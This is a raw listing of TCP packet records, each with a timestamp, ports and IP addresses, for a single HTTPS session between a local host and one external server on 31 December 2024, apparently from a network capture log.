Dec 31, 2024 09:25:08.247212887 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.247224092 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.267581940 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.267605066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.267674923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.267683029 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.267708063 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.276771069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.276791096 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.276833057 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.276842117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.276871920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.277590036 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.277607918 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.277640104 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.277645111 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.277703047 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.290162086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.290175915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.290224075 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.290231943 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.290254116 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.310471058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.310489893 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.310534000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.310540915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.310573101 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.311110973 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.311135054 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.311162949 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.311170101 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.311197996 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.311911106 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.311932087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.311959982 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.311966896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.311988115 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.333946943 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.333961964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.334011078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.334019899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.334057093 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.354367971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.354389906 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.354422092 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.354430914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.354484081 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.363681078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.363698006 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.363744974 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.363750935 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.363790989 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.364336967 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.364356995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.364391088 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.364398003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.364432096 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.376982927 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.376995087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.377053022 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.377059937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.397273064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.397290945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.397337914 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.397346020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.397370100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.398013115 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.398027897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.398070097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.398080111 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.398097038 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.398777008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.398792982 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.398833990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.398839951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.398864031 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.420710087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.420722961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.420778036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.420785904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.420810938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.441214085 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.441236019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.441282034 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.441291094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.441307068 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.450504065 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.450519085 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.450552940 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.450558901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.450576067 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.451385021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.451401949 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.451440096 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.451447010 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.451469898 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.464129925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.464143991 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.464186907 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.464194059 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.464231968 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.484122992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.484144926 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.484208107 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.484215021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.484256983 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.484908104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.484920025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.484980106 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.484986067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.485549927 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.485565901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.485599041 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.485605001 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.485634089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.507858038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.507873058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.507927895 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.507936001 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.528120995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.528140068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.528198957 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.528209925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.537723064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.537738085 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.537776947 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.537782907 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.537817001 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.538499117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.538531065 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.538566113 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.538572073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.538594961 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.550762892 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.550776958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.550829887 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.550839901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.570980072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.570998907 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.571072102 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.571085930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.571136951 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.571682930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.571696997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.571762085 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.571769953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.572411060 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.572428942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.572478056 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.572487116 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.572510004 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.594590902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.594609976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.594672918 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.594681978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.614979029 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.614996910 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.615041971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.615052938 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.615089893 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.624728918 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.624757051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.624798059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.624804974 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.624841928 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.625494003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.625515938 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.625549078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.625555038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.625579119 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.637851954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.637877941 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.637912035 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.637918949 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.637963057 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.658291101 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.658309937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.658369064 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.658385038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.658407927 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.659115076 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.659127951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.659178019 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.659188986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.659202099 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.679940939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.679956913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.680002928 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.680011988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.680038929 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.681710958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.681724072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.681796074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.681803942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.681824923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.701909065 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.701927900 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.701973915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.701980114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.702020884 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.711399078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.711411953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.711462021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.711471081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.712202072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.712218046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.712268114 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.712277889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.712286949 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.724688053 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.724704981 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.724759102 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.724766016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745174885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745193005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745248079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.745256901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745791912 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745805025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745852947 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.745861053 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.745896101 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.766957998 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.766983986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.767026901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.767038107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.767066956 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.768404961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.768419027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.768476963 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.768482924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.788716078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.788742065 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.788772106 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.788783073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.788827896 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.798449039 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.798463106 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.798525095 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.798546076 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.799253941 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.799273014 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.799331903 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.799339056 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.811878920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.811903954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.811958075 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.811969995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.811988115 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.832268000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.832283974 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.832334995 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.832350969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.832369089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.832947969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.832961082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.833005905 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.833014011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.833034039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.853876114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.853893042 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.853935957 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.853945971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.853955984 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.874398947 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.874414921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.874473095 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.874483109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.884946108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.884977102 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.885008097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.885015011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.885032892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.885744095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.885756016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.885808945 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.885816097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.885828018 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.898322105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.898339033 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.898372889 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.898380995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.898402929 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.899082899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.899096966 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.899128914 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.899136066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.899148941 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.919053078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.919070005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.919126034 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.919135094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.919867992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.919884920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.919926882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.919934988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.919964075 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.940659046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.940689087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.940752983 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.940761089 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.940787077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.961318970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.961340904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.961383104 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.961390972 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.961401939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.972100019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.972119093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.972158909 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.972167969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.972198009 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.972964048 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.972980022 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.973145008 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.973150969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.985239983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.985269070 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.985302925 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.985311031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.985322952 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.986129999 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.986141920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.986179113 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.986186028 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.986213923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.006122112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.006144047 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.006195068 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.006203890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.006227016 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.006771088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.006784916 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.006956100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.006963968 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.027625084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.027642012 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.027704000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:09.027713060 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:09.027724028 CET	49707	443	192.168.2.5	188.114.97.3
